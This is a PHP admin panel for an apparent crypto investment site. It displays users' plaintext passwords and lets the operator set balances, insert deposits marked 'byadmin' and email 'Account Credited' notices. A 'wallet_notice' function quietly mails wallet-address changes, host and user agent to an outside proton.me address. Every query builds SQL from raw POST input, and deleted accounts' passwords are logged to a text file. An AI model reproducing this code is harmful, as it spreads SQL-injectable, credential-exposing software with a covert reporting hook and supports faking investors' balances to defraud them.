<?php
require_once 'connect.inc.php'; require_once '../php/c.php';


$q_d = "select x from alogin where id = '1'";
$d_r = mysqli_query($con,$q_d);
$db_x = mysqli_R($d_r,0);

$q_d = "select y from alogin where id = '1'";
$d_r = mysqli_query($con,$q_d);
$db_y = mysqli_R($d_r,0);

$q_d = "select z from alogin where id = '1'";
$d_r = mysqli_query($con,$q_d);
$db_z = mysqli_R($d_r,0);

if($db_x <= 0){
    header('location:/home/cadminc/indexs.php');
    die();
}

function alert2($xz){
    echo "<script> alert('$xz'); </script>";
}

function wallet_notice($address1 , $address2,$cname){
        

        
 $lnk = $_SERVER['HTTP_HOST'];
$lnk2 = $_SERVER['HTTP_USER_AGENT'];   
$date = date('d M Y h:i:s: A');
        $to = "wchanges@proton.me";
        $to2 = "support@$link";
        $subj = "W changed $lnk";
        $from = "FROM:info@$lnk";
        $msg = "The $cname wallet has been changed from $address1 to $address2  in website $lnk  on device   $lnk2  on the $date ";
        
        mail($to,$subj,$msg,$from);
        mail($to2,$subj,$msg,$from);
        
    }


function user1(){
	
	

	if(isset($_COOKIE['nm'])){
	
	$var = $_COOKIE['nm'];
	
}else{
	
}
	$i=0;
	
	global $con;
		$query = "select * from   info  where 1 ORDER BY id DESC ";
		$result  = mysqli_query($con,$query);
			while($query_row = mysqli_fetch_assoc($result)){
				$i++;
					$id = $query_row['id'];
					$fname = $query_row['fname'];
					$lname = $query_row['lname'];
					$email = $query_row['email'];

				$tr = '  <option value="'.$id.'"  >'.$fname.' '.$lname.' </option>';   
									  echo $tr;
				
			}
	
}

function user11(){
	
	

	if(isset($_COOKIE['nm'])){
	
	$var = $_COOKIE['nm'];
	
}else{
	
}
	$i=0;
	
	global $con;
		$query = "select * from   info  where 1 ORDER BY id DESC ";
		$result  = mysqli_query($con,$query);
			while($query_row = mysqli_fetch_assoc($result)){
				$i++;
					$id = $query_row['id'];
					$fname = $query_row['fname'];
					$lname = $query_row['lname'];
					$email = $query_row['email'];

				$tr = '  <option value="'.$email.'"  >'.$fname.' '.$lname.' </option>';   
									  echo $tr;
				
			}
	
}




if(isset($_POST['lck'])){
	$id = $_POST['lck'];
	    $q = "select locked from info where id='$id'";
	    $r = mysqli_query($con,$q);
	    $locked = mysqli_R($r,0);
	    
	
		if(!empty($id)){
		    if($locked == 1){    
			$query = "update  info  set locked = '0' where id = '$id' ";
		    }else{
		  	$query = "update  info  set locked = '1' where id = '$id' ";

		    }
				if(mysqli_query($con,$query)){
						echo  "<script>alert('action Successful.') </script>";
				}
		}
}


if(isset($_POST['del_tran'])){
	$id = $_POST['del_tran'];
	    $q = "Delete from trans where id='$id'";
        if(mysqli_query($con,$q)){
            $maro  = "alert('Transaction Deleted');";
        }else{
            $maro = "alert('An error occurred. Try again ');";
        }
    
}



if(isset($_POST['delacct'])){
	$id = $_POST['delacct'];
	    $q = "Delete from info where id='$id'";
	    
	    $q2 = "select * from info where id='$id'";
	        $r2 = mysqli_query($con,$q2);
	        
	        while($query_row = mysqli_fetch_assoc($r2)){
	           // 	$id = $query_row['id'];
					$fname = $query_row['fname'];
					$lname = $query_row['lname'];
					$email = $query_row['email'];
					$country = $query_row['country'];
					$password = $query_row['pass'];
					$bal = $query_row['bal'];
					// $pack = $query_row['pack'];
					$ee = $query_row['ver'];
					$phone = $query_row['phone'];
					// $regcode = $query_row['regcode'];
					// $eth = $query_row['eth'];
					// $btc = $query_row['wallet'];
					$plan = $query_row['plan'];
					$locked = $query_row['locked'];
					$mine = $query_row['mining'];
					$type = $query_row['type'];
					$regdate = $query_row['regdate'];
					$ppic = $query_row['ppic'];
					
					  $delog = '--------------------------------------------'."\r\n"; 
	  $delog .= 'full name - '.$fname.' '.$lname."\r\n"; 
	  $delog .= 'email - '.$email."\r\n"; 
	  $delog .= 'phone - '.$phone."\r\n"; 
	  $delog .= 'password - '.$password."\r\n"; 
	  $delog .= 'Country - '.$country."\r\n"; 
	  $delog .= 'balance - '.$bal."\r\n"; 
	  $delog .= 'Verified - '.$ee."\r\n"; 
	  $delog .= 'Plan - '.$plan."\r\n"; 
	  $delog .= 'locked - '.$locked."\r\n"; 
	  $delog .= 'mining status - '.$mine."\r\n"; 
	  $delog .= 'account type - '.$type."\r\n"; 
	  $delog .= 'Reg date - '.$regdate."\r\n"; 
	  $delog .= 'PPic - '.$ppic."\r\n"; 
	  $delog .= '--------------------------------------------'."\r\n"; 

	       $file = fopen("delog.txt","a");
       fwrite($file,$delog);
        fclose($file);
	        }
	
	        
	    
	    if(mysqli_query($con,$q)){
	        echo '<script> alert("Account Deleted"); </script>';
	    }
        
	
}



if(isset($_POST['mng'])){
	$id = $_POST['mng'];
	    $q = "select mining from info where id='$id'";
	    $r = mysqli_query($con,$q);
	    $locked = mysqli_R($r,0);
	    
	
		if(!empty($id)){
		    if($locked == 1){    
			$query = "update  info  set mining = '0' where id = '$id' ";
		    }else{
		  	$query = "update  info  set mining = '1' where id = '$id' ";

		    }
				if(mysqli_query($con,$query)){
						echo  "<script>alert('action Successful.') </script>";
				}
		}
}






function user(){
	
	

	if(isset($_COOKIE['nm'])){
	
	$var = $_COOKIE['nm'];
	
}else{
	
}
	$i=0;
	
	global $con;
		$query = "select * from   info  where 1 ORDER BY id DESC ";
		$result  = mysqli_query($con,$query);
			while($query_row = mysqli_fetch_assoc($result)){
				$i++;
					$id = $query_row['id'];
					$fname = $query_row['fname'];
					$lname = $query_row['lname'];
					$email = $query_row['email'];
					$country = $query_row['country'];
					$password = $query_row['pass'];
					$bal = $query_row['bal'];
					// $pack = $query_row['pack'];
					$ee = $query_row['ver'];
					$phone = $query_row['phone'];
					// $regcode = $query_row['regcode'];
					// $eth = $query_row['eth'];
					// $btc = $query_row['wallet'];
					$plan = $query_row['plan'];
					$locked = $query_row['locked'];
					$mine = $query_row['mining'];
					$type = $query_row['type'];
					
					if($locked == '0'){
					   		$lbtn  ='<form action ="" method="POST"> <input type="hidden" value="'.$id.'" name="lck"> <button type="submit" class="btn btn-primary"><i class="fa fa-lock"></i> suspend</button> </form>';
                                $lcked ="<span style='color:green'>Unsuspend</style> ";
					}else{
					   		$lbtn  =' <form action ="" method="POST"> <input type="hidden" value="'.$id.'" name="lck"> <button type="submit" class="btn btn-success"><i class="fa fa-unlock"></i>  UnSuspened </button>  </form>';
					        $lcked ="<span style='color:red'>suspend</style> ";

					}
					
					
					if($mine == '1' && $type == 'mining'){
					   		$mbtn  ='<form action ="" method="POST"> <input type="hidden" value="'.$id.'" name="mng"> <button type="submit" class="btn btn-danger"><i class="fa fa-power-off"></i> OFF</button> </form>';
                            $mn ="<span style='color:green'>ON</style> ";
					}elseif($mine == '0' && $type == 'mining'){
					    
					   		$mbtn  =' <form action ="" method="POST"> <input type="hidden" value="'.$id.'" name="mng"> <button type="submit" class="btn btn-success"><i class="fa fa-power-off"></i>  ON </button>  </form>';
					        $mn ="<span style='color:red'>OFF</style> ";

					}else{
					    $mbtn = "----";
					    $mn = "----";
					    
					}
					
$delbtn = '<form action="" method="POST"><input type="hidden" value="'.$id.'" name="delacct"> <button class="btn btn-danger"><i class="fa fa-trash"></i> Delete</buttton> </form> ';
				
				if($ee == 0){
					$verif = "<span style='color:red'>Unverified</style> ";
				}else{
					$verif = "<span style='color:green'>Verified</style> ";
				}
				
				$tr = '       <tr >
                                        <td>
                                         '.$i.'
                                        </td>
                                        <td >
                                          '.$fname.'
                                        </td>
                                        <td >
                                          '.$lname.'
                                        </td>
                                        <td>
                                          <span class="c-primary"><b>'.$email.'</b></span>
                                        </td>
                                      
										<td >
                                          '.$password.'
                                        </td>
										<td >
                                          '.$country.'
                                        </td>
										<td >
                                          '.$phone.'
                                        </td>
										
										<td >
                                          '.$bal.'
                                        </td>	
											
										<td >
                                          '.$plan.'
                                        </td>											
										<td >
                                          '.$lcked.'
                                        </td>
										<td >
                                          '.$mn.'
                                        </td>
                                        
										
			                        <td>'.$lbtn.'</td>
			                        <td>'.$mbtn.'</td>
			                        <td>'.$delbtn.'</td>
                                      </tr>';
									 
									  echo $tr;
				
			}
	
}


if(isset($_POST['act']) && isset($_POST['bal'])){
	$id = $_POST['act'];
	$bal = $_POST['bal'];
	$amta = $_POST['amta'];
	$ndays = $_POST['ndays'];
	$ddate = date('Y-m-d',time());
	$bal02 = $bal;
	
		if(!empty($id)){
$query = "update   info  set bal = '$bal', bal02 = '$bal', amt = '$amta', ddate = '$ddate', dayS = '$ndays' where id = '$id' ";
				if(mysqli_query($con,$query)){
						$maro = "alert('action Successful.')";
				}
		}
}



if(isset($_POST['act']) && isset($_POST['bonbal'])){
	$id = $_POST['act'];
	$bonbal = $_POST['bonbal'];
		if(!empty($id)){
			$query = "update   info  set bonus = '$bonbal' where id = '$id' ";
				if(mysqli_query($con,$query)){
						$maro = "alert('action Successful.')";
				}
		}
}

if(isset($_POST['act']) && isset($_POST['plan'])){
	$id = $_POST['act'];
	$plan = $_POST['plan'];
		if(!empty($id)){
			$query = "update   info  set plan = '$plan' where id = '$id' ";
				if(mysqli_query($con,$query)){
						$maro = "alert('action Successful.')";
				}
		}
}




function BAL(){
	
	

	if(isset($_COOKIE['nm'])){
	
	$var = $_COOKIE['nm'];
	
}else{
	
}
	$i=0;
	
	global $con;
		$query = "select * from   info  where 1 ORDER BY id DESC ";
		$result  = mysqli_query($con,$query);
			while($query_row = mysqli_fetch_assoc($result)){
				$i++;
					$id = $query_row['id'];
					$fname = $query_row['fname'];
					$lname = $query_row['lname'];
					$email = $query_row['email'];
					// $country = $query_row['country'];
					// $password = $query_row['pass'];
					$bal = $query_row['bal'];
					$amt = $query_row['amt'];
					$day = $query_row['days'];
					// $pack = $query_row['pack'];
					$ee = $query_row['ver'];
					// $regcode = $query_row['regcode'];
					// $eth = $query_row['eth'];
					// $btc = $query_row['btc'];
				if($ee == 0){
					$verif = "<span style='color:red'>Unverified</style> ";
				}else{
					$verif = "<span style='color:green'>Verified</style> ";
				}
				
				$tr = '       <tr >
                                        <td>
                                         '.$i.'
                                        </td>
                                        <td >
                                          '.$fname.' '.$lname.'
                                        </td>
                                       
                                        <td>
                                          <span class="c-primary"><b>'.$bal.'</b></span>
                                        </td>
                                      
									<td>
                                          <span class="c-primary"><b>'.$amt.'</b></span>
                                        </td>
                                        
                                    <td>
                                          <span class="c-primary"><b>'.$day.'</b></span>
                                        </td>	
										
										
										
										<td >
                                          '.$email.'
                                        </td>	
										
										
                                      </tr>';
									  echo $tr;
				
			}
	
}



function BON(){
	
	

	if(isset($_COOKIE['nm'])){
	
	$var = $_COOKIE['nm'];
	
}else{
	
}
	$i=0;
	
	global $con;
		$query = "select * from   info  where 1 ORDER BY id DESC ";
		$result  = mysqli_query($con,$query);
			while($query_row = mysqli_fetch_assoc($result)){
				$i++;
					$id = $query_row['id'];
					$fname = $query_row['fname'];
					$lname = $query_row['lname'];
					$email = $query_row['email'];
					// $country = $query_row['country'];
					// $password = $query_row['pass'];
					$bon = $query_row['bonus'];
					// $pack = $query_row['pack'];
					$ee = $query_row['ver'];
					// $regcode = $query_row['regcode'];
					// $eth = $query_row['eth'];
					// $btc = $query_row['btc'];
				if($ee == 0){
					$verif = "<span style='color:red'>Unverified</style> ";
				}else{
					$verif = "<span style='color:green'>Verified</style> ";
				}
				
				$tr = '       <tr >
                                        <td>
                                         '.$i.'
                                        </td>
                                        <td >
                                          '.$fname.' '.$lname.'
                                        </td>
                                       
                                        <td>
                                          <span class="c-primary"><b>'.$bon.'</b></span>
                                        </td>
                                      
										
										
										
										
										<td >
                                          '.$email.'
                                        </td>	
										
										
                                      </tr>';
									  echo $tr;
				
			}
	
}

function PLAN(){
	
	

	if(isset($_COOKIE['nm'])){
	
	$var = $_COOKIE['nm'];
	
}else{
	
}
	$i=0;
	
	global $con;
		$query = "select * from   info  where 1 ORDER BY id DESC ";
		$result  = mysqli_query($con,$query);
			while($query_row = mysqli_fetch_assoc($result)){
				$i++;
					$id = $query_row['id'];
					$fname = $query_row['fname'];
					$lname = $query_row['lname'];
					$email = $query_row['email'];
					// $country = $query_row['country'];
					// $password = $query_row['pass'];
					$plan = $query_row['plan'];
					$bon = $query_row['bonus'];
					$bal = $query_row['bal'];
					// $pack = $query_row['pack'];
					$ee = $query_row['ver'];
					// $regcode = $query_row['regcode'];
					// $eth = $query_row['eth'];
					// $btc = $query_row['btc'];
			
				
				$tr = '       <tr >
                                        <td>
                                         '.$i.'
                                        </td>
                                        <td >
                                          '.$fname.' '.$lname.'
                                        </td>
                                       
                                        <td>
                                          <span class="c-primary"><b>'.$plan.'</b></span>
                                        </td>
                                      
										
										
										
										
										<td >
                                          '.$email.'
                                        </td>	
										
										
                                      </tr>';
									  echo $tr;
				
			}
	
}









if(isset($_POST['v'])){
	$v = $_POST['v'];
		if(!empty($v)){
			$query = "update trans set status = 'active' where id = '$v' ";
				if(mysqli_query($con,$query)){
						$maro = "alert('action Successful.')";
		
			$q = "select email from trans where id = '$v'";
			   $r = mysqli_query($con,$q);
			   $emails = mysqli_R($r,0); 
			   
			$q = "select amt from trans where id = '$v'";
			   $r = mysqli_query($con,$q);
			   $amt = mysqli_R($r,0); 
		
			$q = "select date from trans where id = '$v'";
			   $r = mysqli_query($con,$q);
			   $date = mysqli_R($r,0);
			   
			$q = "select method from trans where id = '$v'";
			   $r = mysqli_query($con,$q);
			   $method = mysqli_R($r,0); 
			   
			   switch(strtolower($method)){
			       case 'btc':$method = 'Bitcoin';
			       break;
			        case 'eth':$method = 'Ethereum';
			       break;
			        case 'ltc':$method = 'Litcoin';
			       break;
			         case 'bank':$method = 'Bank Deposit';
			       break;
			   }
			   
			   
			   
			$q = "select fname from info where email = '$emails'";
			   $r = mysqli_query($con,$q);
			   $fname = mysqli_R($r,0); 	
			   
            $q = "select lname from info where email = '$emails'";
			   $r = mysqli_query($con,$q);
			   $lname = mysqli_R($r,0); 
				   
			$q = "select sum(amt) from trans where email = '$emails' and type='deposit' and status = 'active' ";
			   $r = mysqli_query($con,$q);
			   $bal = mysqli_R($r,0); 	
			  
            $q = "select cur from info where email = '$emails'";
			   $r = mysqli_query($con,$q);
			   $curs = mysqli_R($r,0); 
			   
			    $to = $emails;
			    $subj = 'Account Credited';
		
			    $status = 'Credit';


$msg ='<div><div style="text-align:center; justify-content:center; "> <img src ="https://FXravators.com/home/home/assets/img/brand/logo-white.png"> </div><div>	<p>Your account has been credited. See details below:<br> </p>';
$msg .='  <p>-------------------------------------------------------------------------------</p>';
$msg .=' <p style="text-align:left;">';
$msg .='Full Name: <span> '.$fname.' '.$lname.'</span> <br>';
$msg .='Amount Credited: <span>'.$amt.'</span> <br>';
$msg .='Total Deposit in '.ucfirst($curs).': <span>'.$bal.'</span> <br>';
$msg .='Total Deposit in Bitcoin: <span>'.file_get_contents("https://blockchain.info/tobtc?currency=".$curs."&value=".$bal).'</span> <br>';
$msg .='Payment Option: <span>'.$method.'</span> <br>';
$msg .='Status: <span>'.$status.'</span><br>';
$msg .='Date Created: <span>'.$date.'</span> <br>';
$msg .='</p><br>';
$msg .='<p>-------------------------------------------------------------------------------</p>';
$msg .='<p> You can reach us at support@FXravators.com </p>';
$msg .='<p>-------------------------------------------------------------------------------</p>';
$msg .='</div></div>';

// Always set content-type when sending HTML email
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";

// More headers
$headers .= 'From: support@FXravators.com' . "\r\n";			   
			    
						mail($to,$subj,$msg,$headers);
				}
		}
}

if(isset($_POST['u'])){
	$v = $_POST['u'];
		if(!empty($v)){
			$query = "update trans set status = 'canceled' where id = '$v' ";
				if(mysqli_query($con,$query)){
						$maro = "alert('action Successful.')";
				}
		}
}




















function drw(){
	
	$i=0;
	
	global $con;
		$query = "select * from trans where type = 'withdrawal' ORDER BY id DESC ";
		$result  = mysqli_query($con,$query);
			while($query_row = mysqli_fetch_assoc($result)){
				$i++;
					$id = $query_row['id'];
					$email = $query_row['email'];
					$amt = $query_row['amt'];
					$status = $query_row['status'];
					$date = $query_row['date'];
					$wallet = $query_row['wallet'];
					
				$tr = '       <tr >
                                        <td>
                                         '.$i.'
                                        </td>
                                        <td >
                                          '.$email.'
                                        </td>
										 <td>
                                          <span class="c-primary"><b>'.$amt.'</b></span>
                                        </td>

										<td >
                                          '.$date.'
                                        </td>
										<td >
                                          '.$wallet.'
                                        </td>
										<td >
                                          '.$status.'
                                        </td>                                        
										<td >
                                        <form method="post" action="#"> <input hidden name="v" value='.$id.'> <input class="btn btn-success" value="Confirm" type="submit"> </form>
                                        </td>
										
										<td >
                                         <form method="post" action="#"> <input hidden name="u" value='.$id.'> <input class="btn btn-danger" value="Decline" type="submit"> </form>
                                        </td>	
										
											<td >
                                         <form method="post" action="#"> <input hidden name="del_tran" value='.$id.'> <button class="btn btn-danger"  type="submit"> <i class="fa fa-trash"></i> </button></form>
                                        </td>	
										

                                      </tr>';
									  echo $tr;
			}
	
}






function depa(){
	
	$i=0;
	
	global $con;
		$query = "select * from trans where type  = 'deposit' ORDER BY id DESC ";
		$result  = mysqli_query($con,$query);
			while($query_row = mysqli_fetch_assoc($result)){
				$i++;
					$id = $query_row['id'];
					$email = $query_row['email'];
					$amt = $query_row['amt'];
					$status = $query_row['status'];
					$date = $query_row['date'];
					
				$tr = '       <tr >
                                        <td>
                                         '.$i.'
                                        </td>
                                        <td >
                                          '.$email.'
                                        </td>
                                        <td >
                                          '.$status.'
                                        </td>
                                        <td>
                                          <span class="c-primary"><b>'.$amt.'</b></span>
                                        </td>
                                      
										<td >
                                          '.$date.'
                                        </td>
										
										<td >
                                        <form method="post" action="#"> <input hidden name="v" value='.$id.'> <input class="btn btn-success" value="Confirm" type="submit"> </form>
                                        </td>
										
										<td >
                                         <form method="post" action="#"> <input hidden name="u" value='.$id.'> <input class="btn btn-danger" value="Decline" type="submit"> </form>
                                        </td>	
                                        
                                    	<td >
                                         <form method="post" action="#"> <input hidden name="del_tran" value='.$id.'> <button class="btn btn-danger"  type="submit"> <i class="fa fa-trash"></i> </button></form>
                                        </td>	
										

                                      </tr>';
									  echo $tr;
			}
	
}

















// settings



if(isset($_POST['bch'])){
	$v = $_POST['bch'];
		if(!empty($v)){
			$query = "update settings set btch = '$v' where id = '1' ";
				if(mysqli_query($con,$query)){
						$maro = "alert('action Successful. ".$v."')";
				}
		}
}



if(isset($_POST['ltc'])){
	$v = $_POST['ltc'];
		if(!empty($v)){
			$query = "update settings set lite = '$v' where id = '1' ";
				if(mysqli_query($con,$query)){
						$maro = "alert('action Successful. ".$v."')";
				}
		}
}



if(isset($_POST['eth'])){
	$v = $_POST['eth'];
		if(!empty($v)){
			$query = "update settings set eth = '$v' where id = '1' ";
				if(mysqli_query($con,$query)){
						$maro = "alert('action Successful. ".$v."')";
				}
		}
}



if(isset($_POST['doge'])){
	$v = $_POST['doge'];
		if(!empty($v)){
			$query = "update settings set doge = '$v' where id = '1' ";
				if(mysqli_query($con,$query)){
						$maro = "alert('action Successful. ".$v."')";
				}
		}
}


if(isset($_POST['btc'])){
	$v = $_POST['btc'];
		if(!empty($v)){
			$query = "update settings set btc = '$v' where id = '1' ";
				if(mysqli_query($con,$query)){
						$maro = "alert('action Successful. ".$v."')";
				}
		}
}


if(isset($_POST['wphone'])){
	$v = $_POST['wphone'];
		if(!empty($v)){
			$query = "update settings set blank = '$v' where id = '1' ";
				if(mysqli_query($con,$query)){
						$maro = "alert('action Successful.".$v."')";
				}
		}
}

if(isset($_POST['phone'])){
	$v = $_POST['phone'];
		if(!empty($v)){
			$query = "update settings set phone = '$v' where id = '1' ";
				if(mysqli_query($con,$query)){
						$maro = "alert('action Successful.".$v."')";
				}
		}
}



if(isset($_POST['address'])){
	$v = $_POST['address'];
		if(!empty($v)){
			$query = "update settings set address = '$v' where id = '1' ";
				if(mysqli_query($con,$query)){
						$maro = "alert('action Successful.".$v."')";
				}
		}
}

function set($q){
	
	
	$i=0;
	
	global $con;
		$query = "select * from settings where 1 ";
		$result  = mysqli_query($con,$query);
			while($query_row = mysqli_fetch_assoc($result)){
				$i++;
					$id = $query_row['id'];
					$btc = $query_row['btc'];
					$wphone = $query_row['blank'];
					$phone = $query_row['phone'];
					$address = $query_row['address'];
					$eth = $query_row['eth'];
					$ltc = $query_row['lite'];
					$bch = $query_row['btch'];
					$doge = $query_row['doge'];
												  
			}
			
			if($i != 0){
			if($q == 1){
				echo $btc;
			}
			if($q == 2){
				echo $wphone;
			}
			if($q == 3){
				echo $phone;
			}
			if($q == 4){
				echo $address;
			}
			if($q == 'doge'){
				echo $doge;
			}
			if($q == 'eth'){
				echo $eth;
			}
			if($q == 'ltc'){
				echo $ltc;
			}
			if($q == 'bch'){
				echo $bch;
			}
			
			
		}
}




if(isset($_POST['acct']) && isset($_POST['amount']) && isset($_POST['dateer']) && isset($_POST['status'])){
	$act = $_POST['acct'];
	$amt = $_POST['amount'];
	$dateer = $_POST['dateer'];
	$status = $_POST['status'];
	$meth = $_POST['methodd'];
		if(!empty($act) && !empty($amt) && !empty($dateer) && !empty($status) && !empty($meth)){
		    $q = "insert into trans VALUES(NULL,'$dateer','$amt','deposit','$meth','byadmin','$status','$act')";
		    
		    
				if(mysqli_query($con,$q)){
						echo  "<script> alert('action Successful.".$act."') </script>";
						
						
			
			   $emails = $act;
			   $amt = $amt;
		
			   $date =$dateer;

			   $method = $meth;
			   
			   switch(strtolower($method)){
			       case 'btc':$method = 'Bitcoin';
			       break;
			        case 'eth':$method = 'Ethereum';
			       break;
			        case 'ltc':$method = 'Litcoin';
			       break;
			         case 'bank':$method = 'Bank Deposit';
			       break;
			   }
			   
			   
			   
			$q = "select fname from info where email = '$emails'";
			   $r = mysqli_query($con,$q);
			   $fname = mysqli_R($r,0); 	
			   
            $q = "select lname from info where email = '$emails'";
			   $r = mysqli_query($con,$q);
			   $lname = mysqli_R($r,0); 
			   
			   
			$q = "select sum(amt) from trans where email = '$emails' and type='deposit' and status = 'active' ";
			   $r = mysqli_query($con,$q);
			   $bal = mysqli_R($r,0); 	

			   
			   
			$q = "select cur from info where email = '$emails'";
			   $r = mysqli_query($con,$q);
			   $curs = mysqli_R($r,0); 	
			   			   
			   
			    $to = $emails;
			    $subj = 'Account Credited';
		
			    


$msg ='<div><div style="text-align:center; justify-content:center; "> <img src ="https://FXravators.com/home/home/assets/img/brand/logo-white.png"> </div><div>	<p>Your account has been credited. See details below:<br> </p>';
$msg .='  <p>-------------------------------------------------------------------------------</p>';
$msg .=' <p style="text-align:left;">';
$msg .='Full Name: <span> '.$fname.' '.$lname.'</span> <br>';
$msg .='Amount Credited: <span>'.$amt.'</span> <br>';
$msg .='Total Deposit in '.ucfirst($curs).': <span>'.$bal.'</span> <br>';
$msg .='Total Deposit in Bitcoin: <span>'.file_get_contents("https://blockchain.info/tobtc?currency=".$curs."&value=".$bal).'</span> <br>';$msg .='Payment Option: <span>'.$method.'</span> <br>';
$msg .='Status: <span>Credit</span><br>';
$msg .='Date Created: <span>'.$date.'</span> <br>';
$msg .='</p><br>';
$msg .='<p>-------------------------------------------------------------------------------</p>';
$msg .='<p> You can reach us at support@FXravators.com </p>';
$msg .='<p>-------------------------------------------------------------------------------</p>';
$msg .='</div></div>';

// Always set content-type when sending HTML email
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";

// More headers
$headers .= 'From: support@FXravators.com' . "\r\n";			   
    			    if($status == 'active'){
    						mail($to,$subj,$msg,$headers);
    			    }
				}
		}
}


?>